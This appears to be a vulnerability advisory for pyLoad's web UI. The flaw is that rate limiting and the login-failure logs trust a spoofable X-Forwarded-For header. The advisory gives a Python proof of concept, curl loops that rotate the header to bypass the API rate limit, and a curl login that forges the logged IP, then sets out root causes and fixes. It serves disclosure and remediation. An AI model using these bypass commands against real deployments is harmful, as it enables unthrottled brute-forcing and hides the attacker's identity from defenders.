Summary

Severity

• CWE-807: Reliance on Untrusted Inputs in a Security Decision
• CWE-290: Authentication Bypass by Spoofing
• CWE-348: Use of Less Trusted Source

Affected Version

Affected Component

• src/pyload/webui/app/helpers.py:446 — inside the rate limit() decorator; derives the per-IP bucket key.
• src/pyload/webui/app/helpers.py:357 — API-key authentication success/failure logging.
• src/pyload/webui/app/blueprints/app blueprint.py:81 — web login success/failure logging.
• src/pyload/webui/webserver thread.py — Cheroot serves the Flask app directly; no reverse-proxy trust boundary or ProxyFix.
• Consumer: src/pyload/webui/app/blueprints/api blueprint.py:25 applies @rate limit(count=100, period=60) to the /api/<func> RPC endpoint.

Description:

client ip = flask.request.headers.get("X-Forwarded-For", "").split(",")[0].strip() or flask.request.remote addr

1. Rate limiting (rate limit()): the decorator keeps request history[client ip] and enforces count requests per period per client ip. Since client ip is attacker-controlled, sending a distinct value each request creates a distinct bucket, so the counter never accumulates and the limit never triggers.
2. Audit logging: login-failure and API-auth-failure log lines embed [CLIENT: {client ip}] using the same spoofable value, so the recorded source address is chosen by the attacker.

Proof of Concept

import ast, math, time
from functools import wraps
import flask

HELPERS = ".../pyload-develop-2/src/pyload/webui/app/helpers.py"
src = open(HELPERS).read()
node = next(n for n in ast.parse(src).body
      if isinstance(n, ast.FunctionDef) and n.name == "rate limit")
ns = {"flask": flask, "time": time, "math": math, "wraps": wraps}
exec(compile(ast.get source segment(src, node), HELPERS, "exec"), ns)
rate limit = ns["rate limit"]

def build app():
  app = flask.Flask( name )
  @app.route("/api/ping")
  @rate limit(count=5, period=60)
  def ping():
    return flask.json.jsonify({"ok": True})
  return app

def run(hdr):
  app = build app()
  with app.test client() as c:
    return [c.get("/api/ping", headers=hdr(i)).status code for i in range(8)]

print("FIXED  XFF:", run(lambda i: {"X-Forwarded-For": "203.0.113.9"}))
print("ROTATE XFF:", run(lambda i: {"X-Forwarded-For": f"10.0.0.{i}"}))

FIXED  XFF: [200, 200, 200, 200, 200, 429, 429, 429]   # limit enforced
ROTATE XFF: [200, 200, 200, 200, 200, 200, 200, 200]   # 0x 429 -> limit bypassed
# server log during FIXED run:
#  WARNING in helpers: Rate limit exceeded for IP 203.0.113.9: 5 requests in 60 (limit: 5/60)

# request with header X-Forwarded-For: 8.8.8.8 and REMOTE ADDR 127.0.0.1
client ip = request.headers.get("X-Forwarded-For","").split(",")[0].strip() or request.remote addr
# -> client ip == "8.8.8.8"  (the spoofed value wins over the real remote addr)

# Rate limit never trips regardless of volume:
for i in $(seq 1 500); do
 curl -s -o /dev/null -H "X-API-Key: pl 1<valid-key>" 
    -H "X-Forwarded-For: 10.0.0.$((RANDOM%255))" 
    http://127.0.0.1:8000/api/get server version
done  # no HTTP 429 is ever returned

# Forged source IP in the audit log:
curl -s -o /dev/null -H "X-Forwarded-For: 8.8.8.8" 
   --data 'username=admin&password=wrong' http://127.0.0.1:8000/login
# server log: Login failed for user 'admin' using Web Client [CLIENT: 8.8.8.8]

Steps To Reproduce

1. Start a pyLoad instance directly exposed (no reverse proxy), as in a default deployment.
2. Obtain any valid API key (or use the login endpoint) so requests reach the rate-limited / logged code paths.
3. Send more than the configured limit of requests to a @rate limit-protected endpoint (e.g. /api/get server version) while setting a different X-Forwarded-For value on each request. Observe that no 429 Too Many Requests is ever returned.
4. Control: repeat step 3 with a fixed X-Forwarded-For value; observe 429 after the limit, proving the bucket is keyed on the header value.
5. Send a failed login (or failed API-key request) with X-Forwarded-For: 8.8.8.8 and inspect the server log; the failure is attributed to 8.8.8.8 rather than the real client address.

Impact

• Rate limiting on the authenticated API (/api/<func>, 100/min) and any other @rate limit-protected endpoint provides no protection against a single attacker, who can issue unlimited requests — enabling resource abuse and unthrottled brute-forcing of anything reachable through those endpoints.
• Security/audit logs cannot be trusted for source attribution. An attacker can stamp every malicious request with an arbitrary or innocent third-party IP, evading IP-based blocklists / fail2ban and misdirecting incident response.
• Amplifies other authentication weaknesses (e.g. the absence of throttling on /login), since even the throttling that does exist elsewhere is defeated and the attacker's IP is unlogged.

Root Causes

1. A client-controlled HTTP header (X-Forwarded-For) is used directly in security decisions (rate-limit bucketing and audit attribution) without any trusted-proxy validation (CWE-807).
2. The leftmost XFF token is selected, which is always the value supplied by the original client; this is spoofable both in direct-exposure and behind-a-proxy deployments (CWE-348).
3. No ProxyFix / trusted-proxy-hop configuration exists, and the server terminates client connections directly, so there is no basis for trusting forwarded headers at all.
4. Inconsistent handling across the codebase (loopback checks distrust these headers while rate-limit/logging trust them) indicates the trust is accidental rather than designed.

Suggested Fix

1. By default, use request.remote addr (the real TCP peer) for rate limiting and logging; do not trust X-Forwarded-For unless a proxy is explicitly configured.
2. Add an explicit, operator-configured trusted-proxy count (default 0 = trust none). When set, apply Werkzeug's ProxyFix(app.wsgi app, x for=N) and read the correct hop (the value inserted by the trusted proxy — typically the Nth-from-right token — not the leftmost client-supplied token).
3. Derive the trusted client IP once in a single helper and use it consistently for rate limiting, logging, and the loopback checks, removing the duplicated inline expressions.
4. Consider defense-in-depth: cap the number of distinct rate-limit buckets and/or additionally rate-limit on remote addr so a spoofed header cannot create unbounded buckets.